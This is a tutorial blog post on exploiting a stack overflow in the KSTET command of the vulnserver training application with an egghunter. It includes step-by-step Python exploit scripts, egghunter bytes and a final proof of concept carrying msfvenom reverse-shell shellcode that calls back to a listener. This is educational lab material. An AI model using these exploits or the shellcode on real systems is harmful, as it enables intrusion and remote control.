Windows User Mode Exploit Development: Egghunter Part 3
Note
Please complete Windows User Mode Exploit Development Part 1 and Windows User Mode Exploit Development SEH Part 2 before continuing so everything makes sense as some things will not be explained again :).
Enter the Egghunter
An egghunter is a short piece of assembly code which is safely able to search the Virtual Address Space (memory) for a signature or an “egg” which is a short string signifying the beginning of a larger payload.
There are two pre-requisites that need to be met in order to use the Egghunter technique.
- The first is that we should have at least 32 bytes (in this case) of memory to which we can jump to that holds the small Egghunter code.
- The second is that our shellcode must be available somewhere in memory (on the stack or heap).
The egghunter uses the EDX register as a pointer to scanned memory. It starts by going to the last address in the current memory space that EDX
is pointing to and then points EDX
to the first address in the next page.
We can see this here:
loop_inc_page:
or dx, 0x0fff : Go to last address in page n (this could also be used to
: XOR EDX and set the counter to 00000000)
loop_inc_one:
inc edx : Increase memory counter by one
It then checks to see if this address space is valid using the NtAccessCheckAndAuditAlarm
function.
We can see this being done here:
loop_check:
push edx : save edx which holds our current memory location
push 0x2, pop eax : initialize the call to NtAccessCheckAndAuditAlarm
int 0x2e : perform the system call
cmp al,05 : check for access violation, 0xc0000005 (ACCESS_VIOLATION)
pop edx : restore edx to check later the content of pointed address
If this address space is invalid, it will hop to the next page by jumping back to loop_inc_page
.
We can see that here:
loop_check_8_valid:
je loop_inc_page : if access violation encountered, go to next page
If our address is valid, our egghunter starts searching that memory space for the signature that we have planted before our shellcode (0x57303054
). Our signature in this example will be W00TW00T
, two instances of the word W00T
.
The egghunter starts by storing the first half of the signature in the EAX
register, it then initializes our pointer with our current checked address, it effectively moves the address space it is pointing to into the EDI
register, it then compares the contents of EDI
with this string 0x57303054
to see whether it has reached our signature or our egg. If we haven’t reached it, then it should increase our memory counter by one by jumping back to this jnz loop_inc_one
function. If it has met it, it will look for the 2nd instance of our egg, and if that was not found once again, it would increase our address page by 1.
We can see that being done here:
is_egg:
mov eax, 0x57303054 : load egg (W00T in this example)
mov edi, edx : initializes pointer with current checked address
scasd : Compare eax with doubleword at edi and set status flags
jnz loop_inc_one : No match, we will increase our memory counter by one
scasd : first part of the egg detected, check for the second part
jnz loop_inc_one : No match, we found just a location with half an egg
However, if it was found, which indicates that it has hit our egg and that our shellcode is immediately after it, we should jump to EDI where our shellcode awaits for us.
We can see this being done here:
matched:
jmp edi : edi points to the first byte of our 3rd stage code, let's go!
Here is the full egghunter code written by Matt Miller that was explained above.
We use edx for the counter to scan the memory.
loop_inc_page:
or dx, 0x0fff : Go to last address in page n (this could also be used to
: XOR EDX and set the counter to 00000000)
loop_inc_one:
inc edx : Increase memory counter by one
loop_check:
push edx : save edx which holds our current memory location
push 0x2, pop eax : initialize the call to NtAccessCheckAndAuditAlarm
int 0x2e : perform the system call
cmp al,05 : check for access violation, 0xc0000005 (ACCESS_VIOLATION)
pop edx : restore edx to check later the content of pointed address
loop_check_8_valid:
je loop_inc_page : if access violation encountered, go to next page
is_egg:
mov eax, 0x57303054 : load egg (W00T in this example)
mov edi, edx : initializes pointer with current checked address
scasd : Compare eax with doubleword at edi and set status flags
jnz loop_inc_one : No match, we will increase our memory counter by one
scasd : first part of the egg detected, check for the second part
jnz loop_inc_one : No match, we found just a location with half an egg
matched:
jmp edi : edi points to the first byte of our 3rd stage code, let's go!
Reference: "Safely Searching Process Virtual Address Space" skape 2004
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
The following diagram depicts the functionality of Matt Millers’ egghunter.
All Credits go to Offensive Security (OSCE) and Matt Miller for above
This sounds very complicated but let’s see this in action.
Replicating Crash
After a bit of fuzzing, we can find that the string KSTET /.:/
with 3000 A’s crashed the application.
Here is the exploit.
#!/usr/bin/python
import socket
host = "192.168.81.129"
port = 9999
payload = "A" * 3000
print("Payload length: " + str(len(payload)))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
print("[+] Sending exploit!")
s.send("KSTET /.:/" + payload)
print("[+] Exploit sent!")
s.close()
except:
print("[-] Could not connect to server!")
Here we can see the application is normally running.
After running the exploit, EIP is overwritten with our A’s
Controling EIP
To get control of the EIP register as always let’s use mona to generate a pattern so we can find the 4 bytes that overwrite EIP.
!mona pattern_create 3000
Here we create a pattern.
Let’s modify and send the exploit.
#!/usr/bin/python
import socket
host = "192.168.81.129"
port = 9999
pattern = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9")
#payload = "A" * 3000
payload = pattern
print("Payload length: " + str(len(payload)))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
print("[+] Sending exploit!")
s.send("KSTET /.:/" + payload)
print("[+] Exploit sent!")
s.close()
except:
print("[-] Could not connect to server!")
Here we can see that EIP is overwritten with 41326341
.
We can use mona to find the offset.
!mona findmsp
The findmsp command will find all instances or certain references to a cyclic pattern (a.k.a. “Metasploit pattern”) in memory, registers, etc..
Here we can see the offset is 66
which means that EIP will be overwritten after 66
A’s
Let’s modify and send the exploit. Make sure there is an even amount of padding.
#!/usr/bin/python
import socket
host = "192.168.130.130"
port = 9999
payload = "A" * 66
payload += "B" * 4
payload += "C" * (3000 - len(payload))
print("Payload length: " + str(len(payload)))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
print("[+] Sending exploit!")
s.send("KSTET /.:/" + payload)
print("[+] Exploit sent!")
s.close()
except:
print("[-] Could not connect to server!")
After sending the exploit we can see that EIP was overwritten with our 4 B’s, we now have control of the EIP register.
Bad Characters
The bad characters are the same as before, \x00 is the only bad character.
You can generate a byte array from 00 to FF and send it in the exploit just like the previous blog series. Please refer to Windows User Mode Exploit Development Part 1 and Windows User Mode Exploit Development SEH Part 2 for more information
!mona bytearray
Redirecting Execution Flow
We can use mona to quickly find a JMP ESP
instruction within essfunc.dll
as it has no DEP or ASLR. Please refer to Windows User Mode Exploit Development Part 1
and Windows User Mode Exploit Development SEH Part 2 for more information.
!mona jmp -r esp -m "essfunc.dll"
Here we can see 625011AF
, which meets our criteria.
We will put a breakpoint on 625011AF
before running the exploit. Now let’s modify and sent the exploit.
#!/usr/bin/python
import socket
host = "192.168.130.130"
port = 9999
#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
payload = "A" * 66
payload += JMP_ESP
payload += "C" * (3000 - len(payload))
print("Payload length: " + str(len(payload)))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
print("[+] Sending exploit!")
s.send("KSTET /.:/" + payload)
print("[+] Exploit sent!")
s.close()
except:
print("[-] Could not connect to server!")
Here we can see that our EIP register points to our #JMP ESP 625011AF -> \xAF\x11\x50\x62
instruction and our ESP register points to our buffer.
However, there is not enough to place our shellcode; if you remember from our previous blog series, a standard reverse shell takes anywhere between 350 to 400 bytes of space.
Here we only have approximately 20 bytes of buffer space, and even our egghunter can’t fit there.
First Stage Payload
Let’s take a small jump back into the buffer just like we did in Windows User Mode Exploit Development SEH Part 2
The JMP SHORT
shellcode looks like this "\xEB\xC0\x90\x90"
Let’s modify and send the exploit after placing a breakpoint on our JMP ESP
#!/usr/bin/python
import socket
host = "192.168.130.130"
port = 9999
#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
#\xEB\xC0\x90\x90
SHORT_JMP = "\xEB\xC0\x90\x90"
payload = "A" * 66
payload += JMP_ESP
payload += SHORT_JMP
payload += "C" * (3000 - len(payload))
print("Payload length: " + str(len(payload)))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
print("[+] Sending exploit!")
s.send("KSTET /.:/" + payload)
print("[+] Exploit sent!")
s.close()
except:
print("[-] Could not connect to server!")
After executing the JMP ESP
(625011AF
) instruction, we land on our SHORT JMP
Before executing the SHORT JMP
we can see that we will land on 017FF9A2
Let’s take the jump back into our buffer.
After taking the short jump, we land on 017FF9A2
which gives us around 57 bytes of space to place our egghunter.
Egghunter
We compile and run Matts’ egghunter and receive our egghunter shellcode.
6681caff0f42526a0258cd2e3c055a74efb8543030578bfaaf75eaaf75e7ffe7
Now we can modify and send the exploit. Make sure to add padding. We want our egghunter before our JMP ESP
with appropriate memN0ps :P
#!/usr/bin/python
import socket
host = "192.168.130.130"
port = 9999
#Search for W00TW00T
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
#\xEB\xC0\x90\x90
SHORT_JMP = "\xEB\xC0\x90\x90"
#memN0ps
memn0ps = "\x90"
payload = "A" * (66 - 8 - len(egghunter) - 8)
payload += memn0ps * 8
payload += egghunter
payload += memn0ps * 8
payload += JMP_ESP
payload += SHORT_JMP
payload += "C" * (3000 - len(payload))
print("Payload length: " + str(len(payload)))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
print("[+] Sending exploit!")
s.send("KSTET /.:/" + payload)
print("[+] Exploit sent!")
s.close()
except:
print("[-] Could not connect to server!")
After executing the breakpoint and taking the short jump, we can see our egghunter.
Now we need to place our reverse shell payload somewhere in memory as there isn’t enough space. The best way to go about this is to find another command and send our payload as a parameter before crashing the target. We can reuse the other commands available below from vulnserver.exe
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
The best way to do this is to create a pattern or a unique string (W00TW00T
), and you can use mona to search the memory for that string.
We can reuse our pattern
we made for controlling EIP or we can use our egg W00TW00T
.
For this seneraio, we will use the command GDOG
Here we will use GDOG + pattern
the pattern will be passed as the parameter instead, and then after that, we will crash the target server with our usual payload.
For example:
s.send("GDOG " + pattern)
s.send("KSTET /.:/" + payload)
or
s.send("GDOG " + egg)
s.send("KSTET /.:/" + payload)
For this example we will use the pattern instead of the egg.
We modify and send exploit. Please make sure you put a breakpoint on the JMP ESP
(625011AF
) address just like before so we hit the breakpoint and don’t execute our egghunter since there is no egg, our egghunter will not work.
#!/usr/bin/python
import socket
host = "192.168.130.130"
port = 9999
#Pattern
pattern = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
#Search for W00TW00T
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
#\xEB\xC0\x90\x90
SHORT_JMP = "\xEB\xC0\x90\x90"
#memN0ps
memn0ps = "\x90"
payload = "A" * (66 - 8 - len(egghunter) - 8)
payload += memn0ps * 8
payload += egghunter
payload += memn0ps * 8
payload += JMP_ESP
payload += SHORT_JMP
payload += "C" * (3000 - len(payload))
print("Payload length: " + str(len(payload)))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
print("[+] Sending 1st stage payload")
s.send("GDOG " + pattern)
print("[+] 1st stage payload sent!")
s.recv(1024)
print("[+] Sending 2nd stage payload")
s.send("KSTET /.:/" + payload)
print("[+] 2nd stage sent!")
s.close()
except:
print("[-] Could not connect to server!")
After sending the pattern, we can use mona to find the pattern as usual.
!mona findmsp
to search for the pattern or !mona find -s "W00TW00T"
to search for the egg.
As you can see mona found the pattern located at 0x007a5ab5
We can now go to this address using immunity debugger. After finding the address, we can right-click on the address and “Follow in Dump” -> “Selection”.
Here we can see that we have LOADS of space and more than enough space for our reverse shell.
Debug Debug Debug
To see the egg in action, let’s watch our egghunter search for our egg by putting breakpoints and debugging.
We start by putting a breakpoint on the JUMP ESP
(625011AF
) then edit and send the exploit.
#!/usr/bin/python
import socket
host = "192.168.130.130"
port = 9999
#Search for W00TW00T
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x57\x30\x30\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
#\xEB\xC0\x90\x90
SHORT_JMP = "\xEB\xC0\x90\x90"
#memN0ps
memn0ps = "\x90"
#EGG
#W00TW00T
egg = "W00TW00T"
payload = "A" * (66 - 8 - len(egghunter) - 8)
payload += memn0ps * 8
payload += egghunter
payload += memn0ps * 8
payload += JMP_ESP
payload += SHORT_JMP
payload += "C" * (3000 - len(payload))
print("Payload length: " + str(len(payload)))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
print("[+] Sending 1st stage payload")
s.send("GDOG " + egg + memn0ps * 300)
print("[+] 1st stage payload sent!")
s.recv(1024)
print("[+] Sending 2nd stage payload")
s.send("KSTET /.:/" + payload)
print("[+] 2nd stage sent!")
s.close()
except:
print("[-] Could not connect to server!")
Press F7
to take the jump
We land on our SHORT JUMP -> \xEB\xC0\x90\x90
. Press F7
to take the jump back into the buffer.
After taking the jump we land just before the egghunter as intended, let’s put a breakpoint on the 2nd SCAS DWORD PTR ES:[EDI]
instruction and hit run
As our egghunter gets executed, it scans the memory for our signature/egg W00TW00T
.
After allowing execution to continue, the EDI
register now points to the first W00T
.
Now that the first W00T
was found, the second W00T
is searched for. Let’s put a breakpoint on JMP EDI
and hit run.
Following EDI in dump, we can see that it points after W00TW00T
which is where our shellcode will go.
Here we take the jump by hitting F7
and land into our NOPs which will be replaced by our reverse shell :)
Final PoC
The final PoC is below.
We can add NOP’s to safely slide into our shellcode, make sure the math is correct, whatever you add the buffer you must take away from the appropriate location.
I have used a simple unstaged reverse tcp payload so we can catch it using netcat on 443.
Now let’s modify and send the exploit.
#!/usr/bin/python
import socket
host = "192.168.130.130"
port = 9999
#Reverse shell
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.130.128 LPORT=443 -b "\x00" x86/shikata_ga_nai EXITFUN=thread -f c
shellcode = ("\xbf\xad\xdb\x9d\xb2\xdd\xc6\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x52\x31\x7a\x12\x03\x7a\x12\x83\x6f\xdf\x7f\x47\x93\x08\xfd"
"\xa8\x6b\xc9\x62\x20\x8e\xf8\xa2\x56\xdb\xab\x12\x1c\x89\x47"
"\xd8\x70\x39\xd3\xac\x5c\x4e\x54\x1a\xbb\x61\x65\x37\xff\xe0"
"\xe5\x4a\x2c\xc2\xd4\x84\x21\x03\x10\xf8\xc8\x51\xc9\x76\x7e"
"\x45\x7e\xc2\x43\xee\xcc\xc2\xc3\x13\x84\xe5\xe2\x82\x9e\xbf"
"\x24\x25\x72\xb4\x6c\x3d\x97\xf1\x27\xb6\x63\x8d\xb9\x1e\xba"
"\x6e\x15\x5f\x72\x9d\x67\x98\xb5\x7e\x12\xd0\xc5\x03\x25\x27"
"\xb7\xdf\xa0\xb3\x1f\xab\x13\x1f\xa1\x78\xc5\xd4\xad\x35\x81"
"\xb2\xb1\xc8\x46\xc9\xce\x41\x69\x1d\x47\x11\x4e\xb9\x03\xc1"
"\xef\x98\xe9\xa4\x10\xfa\x51\x18\xb5\x71\x7f\x4d\xc4\xd8\xe8"
"\xa2\xe5\xe2\xe8\xac\x7e\x91\xda\x73\xd5\x3d\x57\xfb\xf3\xba"
"\x98\xd6\x44\x54\x67\xd9\xb4\x7d\xac\x8d\xe4\x15\x05\xae\x6e"
"\xe5\xaa\x7b\x20\xb5\x04\xd4\x81\x65\xe5\x84\x69\x6f\xea\xfb"
"\x8a\x90\x20\x94\x21\x6b\xa3\x5b\x1d\xf1\xb3\x34\x5c\xf5\xb2"
"\x7f\xe9\x13\xde\x6f\xbc\x8c\x77\x09\xe5\x46\xe9\xd6\x33\x23"
"\x29\x5c\xb0\xd4\xe4\x95\xbd\xc6\x91\x55\x88\xb4\x34\x69\x26"
"\xd0\xdb\xf8\xad\x20\x95\xe0\x79\x77\xf2\xd7\x73\x1d\xee\x4e"
"\x2a\x03\xf3\x17\x15\x87\x28\xe4\x98\x06\xbc\x50\xbf\x18\x78"
"\x58\xfb\x4c\xd4\x0f\x55\x3a\x92\xf9\x17\x94\x4c\x55\xfe\x70"
"\x08\x95\xc1\x06\x15\xf0\xb7\xe6\xa4\xad\x81\x19\x08\x3a\x06"
"\x62\x74\xda\xe9\xb9\x3c\xea\xa3\xe3\x15\x63\x6a\x76\x24\xee"
"\x8d\xad\x6b\x17\x0e\x47\x14\xec\x0e\x22\x11\xa8\x88\xdf\x6b"
"\xa1\x7c\xdf\xd8\xc2\x54")
#Search for W00TW00T
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x57\x30\x30\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
#\xEB\xC0\x90\x90
SHORT_JMP = "\xEB\xC0\x90\x90"
#memN0ps
memn0ps = "\x90"
#EGG
#W00TW00T
egg = "W00TW00T"
payload = "A" * (66 - 8 - len(egghunter) - 8)
payload += memn0ps * 8
payload += egghunter
payload += memn0ps * 8
payload += JMP_ESP
payload += SHORT_JMP
payload += "C" * (3000 - len(payload))
print("Payload length: " + str(len(payload)))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
print("[+] Sending 1st stage payload")
s.send("GDOG " + egg + memn0ps * 50 + shellcode + memn0ps * 50)
print("[+] 1st stage payload sent!")
s.recv(1024)
print("[+] Sending 2nd stage payload")
s.send("KSTET /.:/" + payload)
print("[+] 2nd stage sent!")
s.close()
except:
print("[-] Could not connect to server!")
W00TW00T!
We have a reverse shell! :D
Note
Thanks for reading my blog. Please mind the grammar and other mistakes. I know it is not perfect, but I really hope it helps any fellow hackers out there on the grind. Writing blog posts also helps with my own revision and learning since it is easy to forget if you don’t use this every day of your life in such a vast field, where there are loads of things to learn.
I’m aware that some of these techniques are old and outdated, but I believe it is vital to know the essentials before moving on to advanced exploitation besides it is still fun.
I hope to keep on writing more blog posts in my spare or research time. Hopefully, as time goes on, we will start more advanced exploitation.
There are many better blogs out there that explain things in a better and different way, so I’d highly recommend to go and read them.
Coming Next (No ETA)
- ASLR
- DEP